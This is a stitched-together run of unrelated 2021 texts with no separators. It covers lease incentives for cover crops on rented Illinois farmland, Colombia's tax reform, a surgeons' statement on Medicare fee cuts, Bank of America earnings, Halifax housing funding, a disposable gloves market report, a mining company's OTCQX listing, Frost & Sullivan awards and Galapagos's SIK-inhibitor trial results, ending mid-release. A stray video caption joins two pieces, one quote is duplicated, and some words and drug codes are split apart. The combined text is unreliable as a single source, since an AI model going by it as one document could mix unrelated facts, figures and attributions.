When farmland is owned and operated by the same individual, there is compatibility between the person that bears the costs and receives the benefits, even over multi-year planning horizons. The same is not true under rental arrangements when costs are incurred upfront and benefits occur in the future. There are incentive problems because most leasing arrangements are less than three years in length. In Illinois, a fairly common practice is to have year-to-year leases that can be changed or terminated at the end of each year. While most of these year-to-year leases are renewed, there is no guarantee that the farmer will continue to operate on the rented farmland in the future.

Compatibility issues often arise with lime applications. Lime is typically applied every fourth to fifth year and costs roughly $25 to $30 per acre. Farmers usually pay lime costs in rented situations according to the split in share arrangements. The farmer typically pays 100% of limes cost in cash rental arrangements. If a farmer stops farming the land before the end of the life of the lime application, the farmer does not gain all the benefits of the lime. Some leases account for this possibility by having a schedule that pays the farmer for the remaining lime if the lease is terminated. Without such a lease stipulation, some farmers would be reluctant to spread lime.

Incentive Issues with Cover Crops

Similar to lime, compatibility issues arise with adopting conservation practices, with uncertainties and risk further adding to incentive issues. Cover crops are a prime example. In the initial years of planting, the costs of planting and terminating cover crops often are not offset by higher yields or reductions in other costs. Net cover crop costs often are around $25 per acre in the initial years of plantings. In central Illinois, the average return to cash rent farmland from 2016 to 2020 averaged $52 per acre (data from Revenue and Costs for Illinois Crops). A $25 net cover crop cost represents almost half the farmer returns from a cash rent acre. Future economic benefits to the farmer and landowner may accrue from the continued use of cover crops, but those benefits are not well documented. Compared to the lime example where benefits are well known, farmers and landowners may be reluctant to adopt cover crops because of uncertainties of benefits. Tenure and leasing arrangements will further impact adoption decisions.

Owned farmland: If a farmer plants cover crops on owned farmland, the farmer bears the initial costs and accrue all the benefits in the future. In this case, the economic decision is relatively straight-forward when compared to those from leasing situations. Only one party  the farmer, who also is the landowner  needs to be involved in that decision and decide that the prospect of future benefits exceeds the current costs.

Share rent farmland: The farmer and the landowner will typically share in the initial costs of the cover crops and will also share in the future benefits. If the arrangement is 50-50, the farmer and landowner share equally in costs and benefits. There are two complications for share rental arrangements compared to owned farmland:

Both the farmer and landowner likely have to agree that the future benefits from cover crops exceed the current costs. As a result, at least two parties must be convinced that expected long-term benefits exceed current costs. The farmer faces an additional risk because the farmland is not owned. A farmer will not necessarily receive the future benefits from the initial costs of the cover crop. As a result of this rental uncertainty, a farmer may be more reluctant to undertake cover crops in a share rent situation as compared to an owned farmland situation. The degree to which farmers are more reluctant depends on the long-run nature of the share rental arrangement. Farmers with expectations of long-run relationships likely will be more willing to adopt cover crops than those with shorter expectations.

Cash rent farmland: Under most cash rent arrangements, the farmer will bear all the costs of the cover crop. Theoretically, all benefits will then accrue to the farmer in the future. However, the farmer likely will be more reluctant to use the cover crop for two reasons:

The farmer has the same rental uncertainty as in the share rent situation. As a result, the farmer may be more reluctant to place cover crops on cash rented farmland. The farmland rental market is competitive. If there are benefits in the future from cover crops, it is likely that cash rents will increase as those benefits become apparent. As a result, farmers could bear all the costs of cover crops and receive less of the benefits because of rising cash rents. Similar to a share rent, farmers in a cash rent situation face rental uncertainty and the possibility that they will not farm the land in the future. The expectations of the long-run nature of the arrangement will influence the willingness to adopt cover crops. Farmers with expectations of long-run relationships likely will be more willing to adopt cover crops than those with shorter expectations.

Given a choice, a farmer is much more likely to plant cover crops on owned farmland, where future benefits are more assured to flow to the farmer. Depending on the cash rent landowner, farmers may be more reluctant on cash rent farmland than on share rent farmland. If the landowner desires higher rent levels, the probability of adopting cover crops declines.

Variable cash rent farmland: Variable cash rent arrangements have a blend of the characteristics of share and cash rent. Unless some other arrangement is made, the farmers will have to pay all the costs on variable cash rent farmland. At most, the farmer will only receive a percentage of future benefits from cover crops, as the farmer pays a percentage of crop revenue to the landowner. As a result, farmers are less likely to adopt cover crops on variable cash rent farmland as compared to share rent farmland.

Implications and Policy Recommendations

Farmers are more likely to adopt cover crops on owned farmland than on rented farmland because of uncertainties of farming the land when future benefits may accrue. This feature is important as 60% of farmland is rented in Illinois. The majority of rental farmland is controlled by farms over 1,000 acres (see farmdoc Daily, July 6, 2021). For widespread adoption to occur, commercially-sized farms must be targeted, or at least not disadvantaged.

Public policies that encourage cover crops and other conservation adoption practices need to consider rental incentive issues if widespread adoption on rented farmland is desired. Again, the pool of owned farmland is less than 50% of farmland in Illinois and most other Midwest states.

Similar incentive problems could occur with the development of carbon markets. Those agreements likely are long-term, and uncertainties surrounding future control of the land may reduce farmer incentives to adopt on rented farmland.

YouTube Video: Text to speech and images at
(Adds quote from finance minister, details)

By Nelson Bocanegra and Carlos Vargas

BOGOTA, July 13 (Reuters) - Colombia will seek to raise at least $3.97 billion through a new tax reform measure to be proposed to Congress, Finance Minister Jose Manuel Restrepo said on Tuesday, as the government looks to shore up the country's finances amid credit rating troubles and growing debt.

The 15.2 trillion peso target sum in the so-called social investment law is significantly lower than the 23.4 trillion pesos ($6.12 billion) sought by the government in April, before protests and lawmaker opposition forced that bill's withdrawal and the resignation of Restrepo's predecessor.

"The first great consensus has to be concern for the vulnerable," Restrepo said during a launch event.

The bill will be presented to Congress when the second legislative period of the year begins on July 20.

Funds raised through the measure will be used to cover the fiscal deficit and shore up social programs as well as finance economic recovery and employment, he said.

The bill would increase businesses' income taxes by 5 percentage points to 35% from 2022 to finance social programs, raising some 6.7 trillion pesos.

It would also enshrine 1.9 trillion pesos a year in public savings via cuts to government mobile-phone, rent and vehicle costs, according to a document shared by the president's office.

The government hopes some 2.7 trillion pesos will be raised through fighting tax evasion, with the bill enabling it to better track owners or beneficiaries of businesses so they can be charged, among other measures.

The updated law would modify Colombia's fiscal rule - a measure imposed in 2011 to prevent the deterioration of public finances - to allow new fiscal targets amid the country's pandemic-motivated increase in debt.

The failure to pass the earlier reform proposal, the predicted increase in net public debt to 65.1% of GDP this year and doubts about Colombia's medium-term fiscal management recently led ratings agencies Standard & Poor's and Fitch to cut its credit rating to junk.

The government estimates the fiscal deficit this year will reach nearly $25 billion, equivalent to 8.6% of GDP, before declining to 7% of GDP next year.

($1 = 3,824.08 Colombian pesos) (Reporting by Nelson Bocanegra and Carlos Vargas; Writing by Oliver Griffin; Editing by Julia Symmes Cobb, Leslie Adler and Peter Cooney)
Proposed Medicare Physician Fee Schedule poses continued threat to surgical care

CHICAGO, July 14, 2021 /PRNewswire/ -- Surgical care continues to be under threat in the proposed Medicare Physician Fee Schedule for calendar year 2022 (CY2022) released yesterday by the Centers for Medicare & Medicaid Services (CMS). The American College of Surgeons (ACS) strongly opposes the cuts to surgical care contained within the proposed CMS fee schedule and urges Congress to address systemic challenges to stop the annual reductions in patient care.

"Our patients deserve a health care system that invests in surgical care. CMS is taking notable strides to improve health equity; however, this proposal would achieve the opposite by threatening patient access to critical treatments and procedures," said ACS Executive Director David B. Hoyt, MD, FACS. "The ACS stands ready to work with Congress toward a sustainable, long-term solution in the interest of all patients."

The proposed rule from CMS maintains cuts to surgical care that Congress stopped last year. The Medicare conversion factor for CY2022 will be cut by 3.75 percent under the CMS proposed fee schedule. The conversion factor is the basic starting point for calculating Medicare payments. Updates to the conversion factor have failed to keep up with inflation. The result is that the conversion factor is only about 50 percent of what it would have been if it had been indexed to general inflation as it had been prior to 1998. The proposed CMS rule further emphasizes the need for continued intervention by Congress to protect patient care.

The ACS is a founding member of the Surgical Care Coalition, which advocates for access to quality surgical care for all Americans. The Surgical Care Coalition is comprised of 13 surgical professional associations that proudly represent the more than 150,000 surgeons working across the country with a common goal of improving the quality of care, and quality of life, for all patients.

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About the American College of Surgeons

The American College of Surgeons is a scientific and educational organization of surgeons that was founded in 1913 to raise the standards of surgical practice and improve the quality of care for surgical patients. The College is dedicated to the ethical and competent practice of surgery. Its achievements have significantly influenced the course of scientific surgery in America and have established it as an important advocate for all surgical patients. The College has more than 82,000 members and is the largest organization of surgeons in the world. For more information, visit www.facs.org.

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SOURCE American College of Surgeons
By Niket Nishant and Elizabeth Dilts Marshall

-Bank of America Corp offered a sunny forecast for its mainstay lending business on Wednesday as the second-largest U.S. bank blew past analysts' estimates for second-quarter profit.

The lender's profit nearly tripled as it unloaded $2.2 billion of loss reserves in the quarter, but low interest rates weighed on lending profits even as the bank pointed to an improving demand for loans in a recovering economy.

Analysts view Bank of America as the most sensitive to interest rate moves among U.S. banks because of its balance sheet makeup.

For years, the bank has tried to adjust the way it invests in Treasury bonds and other securities to prepare for rate movements, but the timing of rate movements has been all but impossible to predict due to a long economic recovery after the 2008 crisis and, more recently, the global pandemic.

However, with the economy starting to sprint out of the slowdown, Bank of America pointed to a growth in its net interest income, or the measure of how much lenders can make on the difference between what they earn from loans and pay out on deposits.

"We have been able to hold NII (net interest income) relatively flat. We expect it to grow higher ... driven primarily by loan growth," Chief Financial Officer Paul Donofrio said on a call with reporters to discuss earnings.

For the second quarter, however, the bank's NII plunged 6% to $10.2 billion, sending its shares down 2%.

"BofA really needs rates to move up," said Evercore ISI analyst Glenn Schorr.

The Federal Reserve has begun discussions on tapering easy-money policies, with policymakers bringing forward their forecasts for raising interest rates to 2023 from 2024.

Fed Chair Jerome Powell will begin two days of testimony to U.S. lawmakers later on Wednesday where he is expected to face questions over inflation. [L1N2OP16M]

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"We are hopeful that the Fed is right about inflation," Donofrio said on the call with reporters.

"We're not traders or a hedge fund. We are deploying our excess liquidity in a prudent way over time and we are always balancing our need to have liquidity."

Over the past year, the bank has nearly doubled the total debt securities on its balance sheet to $940 billion in the second quarter from $472 in the same period last year.

JPMorgan rates analysts expect the yield curve to steepen over the next year, with longer-dated yields rising faster than shorter ones, according to their July 9 report.

A steeper yield curve bolsters lenders, which borrow at the short end of the curve and lend long.

Bank of America's own analysts expect Fed Funds rates to remain unchanged as 10-year Treasury bond yields rise over the next year.

LOAN GROWTH BOUNCE

While loan growth is still tepid as capital markets remain flush with liquidity, there are signs demand is coming back.

Average loans and leases across all segments were down 11% from last year, but up $1.8 billion from the previous quarter, signaling a nascent recovery.

Excluding loans related to the U.S. government's paycheck protection program, loans balances grew $5.1 billion from the first quarter.

"We are starting to see a turn in loan growth," Donofrio said.

The bank reported a 173% jump in net income applicable to common shareholders to $8.96 billion, or $1.03 per share, comfortably beating the average estimate of 77 cents per share, according to IBES data from Refinitiv.

Overall revenue, net of interest expense, dropped 4% to $21.5 billion.

Executives at JPMorgan Chase & Co warned on Tuesday that the sunny outlook for the U.S. economy would not make for blockbuster revenues in the short term due to low interest rates, weak loan demand and a slowdown in trading.

(Reporting by Niket Nishant in Bengaluru and Elizabeth Dilts Marshall in New York, Additional reporting by Yoruk Bahceli; Editing by Saumyadeb Chakrabarty)
HALIFAX, NS, July 14, 2021 /CNW/ - Every Canadian deserves a safe and affordable place to call home. However, the COVID-19 pandemic has increased the need for affordable housing and led to rising levels of homelessness. The Government of Canada created a national strategy to build hundreds of thousands of units and provide affordable housing to people across the country. By continuing to make investments in affordable housing, the government is building stronger communities, creating jobs, and growing our middle class, while fighting homelessness and helping vulnerable Canadians.

Government of Canada (CNW Group/Canada Mortgage and Housing Corporation)

The Honourable Ahmed Hussen, Minister of Families, Children and Social Development and Minister Responsible for Canada Mortgage and Housing Corporation (CMHC), Andy Fillmore, Member of Parliament for Halifax, and Mike Savage, Mayor of Halifax, today announced $13 million to create an estimated 43 new affordable homes for individuals and families in Halifax through the Cities Stream under the expanded Rapid Housing Initiative (RHI). These housing units will support Canadians who are in uncertain housing situations, experiencing or at risk of homelessness, or living in temporary shelters because of the pandemic.

This is in addition to the Government of Canada's previous investment of $8.7 million through the first phase of the Rapid Housing Initiative to support the creation of 52 housing units in Halifax.

In its initial round, with funding of $1 billion announced in October 2020, the RHI exceeded its original target of 3,000 permanent affordable housing units and achieved 4,700 units nationally. Due to this success, an additional $1.5 billion for the Rapid Housing Initiative (RHI) was recently announced to create 4,500 new units of permanent affordable housing across the country. Thanks to this expansion, this initiative will now create over 9,200 affordable homes for the most vulnerable Canadians across the country.

This new investment will create thousands of good jobs in the housing and construction sector, grow the middle class, and build back stronger communities, while getting us closer to our goal of eliminating chronic homelessness in Canada

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Quotes:

"Every Canadian deserves a safe and affordable place to call home. Today's funding through the Rapid Housing Initiative will go a long way to support those who need it most by quickly providing nearly 43 new affordable homes for vulnerable individuals and families in Halifax to keep them safe. This is one of the ways our National Housing Strategy continues to ensure no one is left behind."  The Honourable Ahmed Hussen, Minister of Families, Children and Social Development and Minister responsible for Canada Mortgage and Housing Corporation

"We have seen how COVID-19 has worsened existing housing and homelessness challenges and without urgent action by the Government of Canada, the pandemic could lead to a dramatic increase in homelessness. Creating housing rapidly to address this housing crisis is a priority for our Government. This new funding is part of our commitment to addressing severe housing needs across the country. It will provide immediate support to create safe and stable housing to thousands of vulnerable individuals and families."  Andy Fillmore, Member of Parliament for Halifax and Parliamentary Secretary to the Minister of Infrastructure and Communities

"Safe, supportive, affordable housing is a pressing need in Halifax. Today's announcement, in addition to the three projects already approved under the Rapid Housing Initiative, will allow us to work quickly with community partners to help more people find a lasting home."  Mike Savage, Mayor of Halifax

Quick facts:

The RHI is delivered by the Canada Mortgage and Housing Corporation (CMHC), under the National Housing Strategy (NHS).

Canada's NHS is an ambitious, 10-year plan that will invest over $72 billion to give more Canadians a place to call home. Launched in 2017, the NHS will build and repair thousands of housing units, and help households with affordability support.

The RHI is a $1 billion program launched in October 2020 to help address urgent housing needs of vulnerable Canadians, especially in the context of COVID-19, through the rapid construction of affordable housing.

Due to this success, an additional $1.5 billion for the Rapid Housing Initiative (RHI) was recently announced through Budget 2021 with $500 million in funding under the Cities Stream being allocated to the following municipalities: Burnaby, Calgary, Capital Regional District, Durham, Edmonton, Gatineau, Greater Sudbury, Halifax, Hamilton, Iqaluit, Kingston, Laval, London, Longueil, Montreal, Niagara, Ottawa, Peel, Quebec, Regina, Saskatoon, Surrey, St. John's, Toronto, Vancouver, Waterloo, Whitehorse, Windsor, Winnipeg, and Yellowknife. Under the Projects Stream: $1 billion will be allocated to eligible applications submitted during the RHI's initial application period last fall and having not yet received funding.

Based on feedback from stakeholders, CMHC has introduced new flexibilities to the RHI:

At least 25 per cent of this new funding will go toward women-focused housing projects. The units will be built within 12 months of when funding is provided to program applicants.

The RHI will continue to prioritize proposals that target units serving Indigenous peoples and other vulnerable groups. It will also continue to provide flexibilities on timelines to Indigenous governing bodies or organizations as needed.

Due to the considerable response during the first round of the Projects Stream, many eligible applications remain unfunded. Applicants with eligible proposals from the first round of RHI that have not yet received funding will be contacted directly with further details.

The RHI takes a human rights-based approach to housing, serving people experiencing or at risk of homelessness and other vulnerable people under the NHS, including: women and children fleeing domestic violence, seniors, young adults, Indigenous peoples, people with disabilities, people experiencing mental health and addiction issues, veterans, LGBTQ2 individuals, racialized and Black Canadians, and recent immigrants or refugees.

CMHC supports the government's efforts to improve the well-being of Canadians facing housing and homelessness challenges caused by the COVID-19 pandemic.

Associated links:

As Canada's authority on housing, CMHC contributes to the stability of the housing market and financial system, provides support for Canadians in housing need, and offers unbiased housing research and advice to all levels of Canadian government, consumers and the housing industry. CMHC's aim is that by 2030, everyone in Canada has a home they can afford, and that meets their needs. For more information, follow us on Twitter, Instagram, YouTube, LinkedIn and Facebook.

SOURCE Canada Mortgage and Housing Corporation

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CHICAGO, July 14, 2021 /PRNewswire/ -- In-depth analysis and data-driven insights on the impact of COVID-19 included in this global disposable gloves market report.

The global disposable gloves market is expected to grow at a CAGR of over 10.84% during the period 20202026.

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Key Highlights Offered in the Report:

COVID-19 impacted the disposable glove market positively, the demand skyrocketed during the pandemic. Many vendors are already filled with the orders for 2020, and 2021. The vendors are working with full capacity continuously to supply the orders. Due to the pandemic and the global lockdown, there is a huge shortage of raw materials, which is increasing the cost of disposable gloves in the market. The nitrile segment dominated the market; however the latex segment is growing at a CAGR of 11.40% by 2026. Large number of innovations, new synthetic mixed latex gloves are introduced into the market, which is accelerating the demand in the market. Powder-free gloves dominate the market. Multiple regulatory bodies have restricted the usage of the powdered gloves thereby, fueling the demand for the powder free glove usage in the market. It is expected to grow at a CAGR of 11.06% during the forecast period. The medical segment dominated the market, as they are the largest consumers of disposable gloves. Additionally, the pandemic further increased the usage of the examination glove across the globe and demand increased largely in the market and is expected to grow at a CAGR of around 11.64% by 2026. The B2B/institutional distributional channel dominated the market. During the COVID-19 pandemic multiple governments were involved directly to procure the disposable gloves for their countries. However, the retail segment is expected to grow at a CAGR of 12.90%, as it is the mostly preferred channel of purchase among the end-users. North America dominated the market in terms of revenue and Europe dominated in terms of consumption of disposable gloves.

Key Offerings:

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Market Size & Forecast by Revenue | 20202026

Market Dynamics  Leading trends, growth drivers, restraints, and investment opportunities

Market Segmentation  A detailed analysis by products type, form, end-users, distribution channel, and geography

Competitive Landscape  5 key vendors and 52 other vendors

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Gloves Market  Segmentation

Disposable

In 2020, the nitrile material segment accounted for a share of 41.55% in the global disposable gloves market. In the disposable gloves market, the two major types of gloves used are nitrile and latex. Nitrile gloves are commonly used as examination gloves; however, because of their strength, they can be used for multiple purposes.

The powder-free gloves are seen as the major revenue contributor compared to the powdered gloves. For instance, in 2021, latex powder-free gloves accounted for 20%, followed by latex powdered gloves with 13% of the market revenue.

In 2020, the surgical gloves sub-segment accounted for a share of 17.63% in the medical disposable gloves market. To meet the rising need for hygiene and safety standards globally, modern surgical gloves are designed based on the most latest scientific developments. A majority of the surgical gloves are made of durable material including NRL, nitrile, neoprene, vinyl, and other synthetic materials, but are also very thin to make sure that surgeons have full function and sensitivity of their hands.

Disposable Gloves Market by Product Type

Latex

Nitrile

Neoprene

Vinyl

Others

Disposable Gloves Market by Form

Powdered

Powder Free

Disposable Gloves Market by End-User

Medical

Non-Medical

Disposable Gloves Market by Distribution Channel

B2B/Institutional

Retail

Others

Disposable Gloves Market  Dynamics

The usage of disposable gloves in the food industry is increasing with the introduction of new guidelines and regulations to prevent cross-contamination and food poisoning. Most food handlers are using disposable gloves to ensure food safety, prevent cross-contamination, and protect their hands. The food & beverage industry is witnessing a high prevalence of food contamination in recent years. Every day, there are reports of bacterial contamination in food. Some of the food manufacturing companies have recalled products due to contamination. To avoid these scenarios, food manufacturing companies are insisting that workers wear disposable gloves during food handling. Food contamination is prevalent in the UK and food companies are continually looking at ways to improve their processes, especially in the areas of food preparation, food handling, and food service.

Key Drivers and Trends fueling Market Growth:

Rising Number of Infectious Diseases & HAIs

Rise in Medical Tourism

Rising Number of Infectious Diseases & HAIs

Concern Towards Personal Hygiene

Disposable Gloves Market  Geography

In 2020, North America dominated the market and accounted for the largest share of 34.06% in the global disposable gloves market. The US and Canada are the major revenue contributors in this region. The US is one of the largest consumers of disposable gloves both regionally and globally due to its highly developed healthcare infrastructure and increased awareness among the population in the country. North America is seen as a major target for various key players in the disposable gloves market. Because of the constant usage of disposable gloves, especially in the medical segment, many large companies like Kossan, Top Glove, and Supermax are planning to increase their presence in the North American market either through acquisitions or launching new products like temperature-resistant and puncture-resistant gloves in the market to attract a large number of customers.

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Disposable Gloves Market by Geography

North America

Europe

APAC

Latin America

Middle East & Africa

Major Vendors

Top Glove

Kossan

Hartalega

Rubberex

Ansell

Other Prominent Vendors

Asma Rubber Products

Ammex

Adenna

Acteon

Adventa Health

Akzenta International

Alboland

ASID-BONZ GmbH

B. Brawn Melsungen AG

Berner International

Body Products

Barber Healthcare

Comfort Rubber Gloves

Cardinal Health

Ceabis

Dynarex

Demophorious Healthcare

Erenler Medikal

Infitec Gloves

Kimberly-Clark

Kanam

Mapa Professional

Medicom

Molnlycke

Mercator Medical

Medline

Medpride

Nulife

Neomedic

O&M Halyard

Primus Gloves

Riverstone Holdings

RFB Latex

Robinson Healthcare

Sempermed

Sara Healthcare

Shandong Xingyu Gloves

Safeshield India Rubber Products

Supermax

Sas Safety Corp

Showa

Superior Glove

Sri Trang

Tan Sian Lian Industries

The Glove Company

Unigloves

Venom Steel

Winmed Group

Wujiang Evergreen

YTY Group

Zhangjiagagang Dayu Rubber Products

3M

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SOURCE Arizton Advisory & Intelligence
VANCOUVER, BC, July 14, 2021 /CNW/ - Fosterville South Exploration Ltd. ("Fosterville South") or (the "Company") (TSXV: FSX) (OTCQX: FSXLF) (Germany: 4TU) is pleased to announce the initiation of trading on the OTCQX. The OTCQX Best Market provides value and convenience to U.S. investors, brokers and institutions seeking to trade Fosterville South shares under the ticker symbol FSXLF. The OTCQX Best Market is OTC Markets Group's premier market for established, investor-focused U.S. and international companies. To be eligible, companies must meet high financial standards, follow best practice corporate governance, demonstrate compliance with U.S. securities laws, be current in their disclosure, and have a professional third-party sponsor introduction.

Fosterville South Exploration Logo (CNW Group/Fosterville South Exploration Ltd.)

U.S. investors can find current financial disclosure and Real-Time quotes for the company on www.otcmarkets.com/stock/FSXLF/quote.

"We are pleased to reach the milestone of advancing to the OTCQX, which gives US-based investors enhanced tools to analyze, value and trade our securities" said Bryan Slusarchuk, CEO of Fosterville South Exploration Ltd.

About Fosterville South Exploration Ltd.

Fosterville South began with two, 100% owned, high-grade gold projects called the Lauriston and Golden Mountain Projects, and has since acquired a large area of granted and application tenements containing further epizonal (low-temperature) high-grade gold mineralisation called the Providence Project and a large group of recently consolidated license tenement applications called the Walhalla Belt Project, which contain a variety of epizonal and intrusion related style gold mineralisation, all in the state of Victoria, Australia. The Fosterville South land package, assembled over a multi-year period, notably includes a 600 sq. km property immediately to the south of and within the same geological framework that hosts Kirkland Lake Gold's Fosterville epizonal gold tenements. Additionally, Fosterville South has gold-focused projects called the Moormbool and Beechworth, which are also located in the state of Victoria, Australia. Moormbool project has epizonal style gold mineralisation and Beechworth has mesozonal and intrusion relation gold mineralisation.

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All of Fosterville South's properties, with the possible exception of Moormbool, have had historical gold production from hard rock sources despite limited modern exploration and drilling.

On behalf of the Company

Bryan Slusarchuk

Chief Executive Officer

Forward-Looking Statements

Information set forth in this news release contains forward-looking statements that are based on assumptions as of the date of this news release. These statements reflect management's current estimates, beliefs, intentions and expectations. They are not guarantees of future performance. Fosterville South cautions that all forward looking statements are inherently uncertain and that actual performance may be affected by many material factors, many of which are beyond their respective control. Such factors include, among other things: risks and uncertainties relating to Fosterville South's limited operating history, its exploration and development activities on the Lauriston, Golden Mountain and Beechworth Properties and the need to comply with environmental and governmental regulations. Accordingly, actual and future events, conditions and results may differ materially from the estimates, beliefs, intentions and expectations expressed or implied in the forward-looking information. Except as required under applicable securities legislation, Fosterville South does not undertake to publicly update or revise forward-looking information.

Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the Exchange) accepts responsibility for the adequacy or accuracy of this release.

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SOURCE Fosterville South Exploration Ltd.

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Sixteen companies recognized for their exemplary performance and valuable contributions in shaping new trends across Asia-Pacific

SINGAPORE, July 14, 2021 /PRNewswire/ -- Frost & Sullivan honored leading companies in the region at the 19th annual Asia-Pacific Best Practices Awards on 14 July. At its first virtual awards ceremony of the year, Frost & Sullivan presented 16 awards to Asia-Pacific's leading organizations for elevating performance benchmarks and for their outstanding industry achievements.

Senior Vice President Sapan Agarwal of Frost & Sullivan in Asia-Pacific said, "This year, we turn 60 as an organization ourselves, and over these years, companies that have inspired us the most are the ones who have been part of the solution to address global challenges. Award recipients tonight have rediscovered business models, redesigned value chains, and have successfully recreated foundations for sustained growth amid the unprecedented disruption by the Covid-19 pandemic.

Congratulating the 2021 winners and recognizing their best-in-class performance, Senior Vice President Sapan Agarwal of Frost & Sullivan in Asia-Pacific said, "This year, we turn 60 as an organization ourselves, and over these years, companies that have inspired us the most are the ones who have been part of the solution to address global challenges. Award recipients tonight have rediscovered business models, redesigned value chains, and have successfully recreated foundations for sustained growth amid the unprecedented disruption by the Covid-19 pandemic."

The award recipients were identified using Frost & Sullivan's proprietary, measurement-based methodology derived from extensive primary and secondary research, in-depth interviews, analyses, and industry benchmarking. Numerous award categories were carefully reviewed and evaluated to reflect the current market landscape and highlight emerging trends in Asia. A detailed study was further conducted on each of the nominated companies, focusing on real-time performance indicators, such as market share, revenue growth, customer acquisitions, product/service value, and technology innovation. The companies that emerged represent outstanding leaders that are driving positive trends in the Asia-Pacific economy.

Award Titles and Categories Award Recipients Global and Regional Titles 2021 Global Enterprise Imaging Solutions Product Leadership Award Mach7 Technologies 2021 Asia-Pacific Clinical Oncology Next-generation Sequencing Workflow Solutions Product Leadership Award ACT Genomics 2021 Asia-Pacific Telecoms Tower Company of the Year Award edotco Group Sdn Bhd 2021 Asia-Pacific Functional Service Provider Pharmaceutical Competitive Strategy Leadership Award Labcorp Drug Development 2021 Asia-Pacific SME Accounting Software Vendor of the Year Award Xero Limited 2021 Asia-Pacific Customer Service Software Customer Value Leadership Award Zendesk Country Titles 2021 Australia Cloud Infrastructure Services Company of the Year Award Telstra 2021 Greater China CRO Entrepreneurial Company of the Year Award Viva Biotech Holdings 2021 Indonesia In Vitro Fertility Company of the Year Award Morula IVF Indonesia 2021 Indonesia Customer Experience Outsourcing Services Company of the Year Award PT Infomedia Nusantara 2021 Japan Contact Center Customer Value Leadership Award Rakuten Communications Corp 2021 Malaysia Facilities Management Competitive Strategy Leadership Award GFM Services Berhad 2021 Malaysia Hospital Company of the Year Award Subang Jaya Medical Centre 2021 Malaysia Mobile Services Company of the Year Award U Mobile 2021 Singapore Women's Health Entrepreneurial Company of The Year Award (Clinical Laboratories) INEX Innovate 2021 Thailand Data Center Services Company of the Year Award True Internet Data Center Co., Ltd.

To learn more about the awards and partnership opportunities for the 2021 awards, please visit http://www.apacbp-awards.com/. To schedule interaction with Frost & Sullivan spokespersons, please email Kala Mani.S at kala.manis@frost.com.

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About Frost & Sullivan

For six decades, Frost & Sullivan has been world-renowned for its role in helping investors, corporate leaders, and governments navigate economic changes and identify disruptive technologies, Mega Trends, new business models, and companies to action, resulting in a continuous flow of growth opportunities to drive future success. Contact us: Start the discussion.

Contact:

Kala Mani. S.

Best Practices Awards Branding  Asia-Pacific

Email: kala.manis@frost.com

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SOURCE Frost & Sullivan
Biologic effect of salt inducible kinase ( SIK ) mechanism in first patient studies supports further progression of Toledo portf olio

SIK2/3 inhibitor GLPG39 70 generally safe and well - tolerated

Study in psoriasis patients show s improvement in PASI score at Week 6

Study in ulcerative colitis ( UC ) patients show s signs of biologically important effect s; does not translate to sign al on Mayo score at Week 6

No signal observed in rheumatoid arthritis (RA) study at Week 6





Mechelen, Belgium; 14 July 2021; 22.01 CET; regulated information  Galapagos NV (Euronext & Nasdaq: GLPG) reports topline results with GLPG3970 in three patient studies. GLPG3970, the first product candidate from a broad portfolio of SIK inhibitor compounds, provides clinical data supporting the role of SIK inhibition in inflammation. SIK is a novel target class discovered by Galapagos.

Galapagos evaluated GLPG3970, a proprietary salt inducible kinase (SIK) 2/3 inhibitor, in three randomized, placebo-controlled, double-blind studies: a Phase 1b study in patients with moderate to severe psoriasis and two Phase 2a studies in patients with moderate to severely active UC and RA. GLPG3970 or placebo were administered orally once-daily for 6 weeks. Main objectives were to evaluate the safety and tolerability of GLPG3970 as well as early signs of biologic and clinical effect.

Across the three studies, GLPG3970 was generally safe and well tolerated. There were no deaths nor serious adverse events, and the majority of treatment emergent adverse events (TEAEs) were mild or moderate in nature.

CALOSOMA study: Phase 1b trial in psoriasis

This study randomized 26 patients with moderate to severe psoriasis in a 3:2 ratio, GLPG3970 to placebo. Two out of 15 patients discontinued in the treatment arm (COVID-19 and pruritus) versus 1 out of 11 on placebo (psoriatic arthropathy).

At Week 6, four out of 13 patients on GLPG3970 had a PASI1 50 response, defined as at least a 50% improvement of baseline PASI, compared to none on placebo. Specifically, the four responders achieved 50%, 50%, 56%, and 77% improvement in their PASI scores from baseline, reaching statistical significance compared to placebo (p=0.002) at Week 6. Positive signals of clinical effect were also consistently observed for other endpoints, including affected Body Surface Area and physician and patient global assessment, versus placebo at Week 6.

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SEA TURTLE study: Phase 2a trial in UC

This study randomized 31 biologic-naive patients with moderate to severely active UC in a 2:1 ratio, GLPG3970 to placebo. One out of 21 patients discontinued in the active treatment arm (COVID-19) versus one out of 10 on placebo (QT abnormality at baseline).

At Week 6, positive signals were observed in patients on GLPG3970 on objective parameters such as endoscopy, histology, and fecal calprotectin. These findings did not translate in a differentiation from placebo on change from baseline total Mayo Clinic Score in this 6-week study (GLPG3970 -2.7, placebo -2.6). Seven out of 18 patients on GLPG3970 who underwent endoscopy at Week 6 met the criteria for Endoscopic Improvement, defined as a score of 0 or 1 on the endoscopic response score, compared to one out of 9 patients on placebo. The robustness of these signals will be further examined when additional efficacy and biomarker data become available later this year.

LADYBUG study: Phase 2a trial in RA

This study randomized 28 patients with moderate to severely active RA and an inadequate response to methotrexate in a 3:2 ratio, GLPG3970 to placebo. Three out of 16 patients discontinued in the treatment arm (COVID-19, ALT increase and physician decision) versus 2 out of 12 on placebo (COVID-19).

At Week 6, patients on GLPG3970 showed no differentiation from placebo on change from baseline DAS28 (CRP)2 response (GLPG3970 -1.29, placebo -1.24), nor on the majority of other efficacy endpoints.

Further development of Toledo product portfolio

GLPG3970 is the first compound from Galapagos broad portfolio of novel molecules to provide clinical evidence for the potential role of SIK inhibition in inflammation. Biomarker data from these signal-finding studies with GLPG3970 will be further analyzed for signature profiles. Our aim with the Toledo program is to explore this novel mode of action fully and bring forward improved molecules directed toward SIK2/3 as well as other SIK selectivity profiles. Galapagos currently has two compounds exhibiting SIK2/3 inhibition in preclinical development.

We are excited to demonstrate, for the first time, important biologic and clinical effects with a SIK inhibitor in patients with inflammatory conditions. This is a major achievement when working on a novel mode of action target class. The CALOSOMA trial in psoriasis patients indicates clear proof of activity and the SEA TURTLE trial in ulcerative colitis patients provides encouraging results that support further development with Toledo compounds with improved pharmacology. In addition, these studies in patients confirm the safety and tolerability profile previously observed in healthy volunteers, said Dr. Walid Abi-Saab, Chief Medical Officer of Galapagos. The GLPG3970 broad dataset is an important step forward, and we aim to apply key learnings from these studies to the further development of our Toledo portfolio of SIK inhibitors.

Galapagos intends to submit study outcomes with GLPG3970 for publication at scientific conferences and in peer-reviewed medical journals.

About Toledo

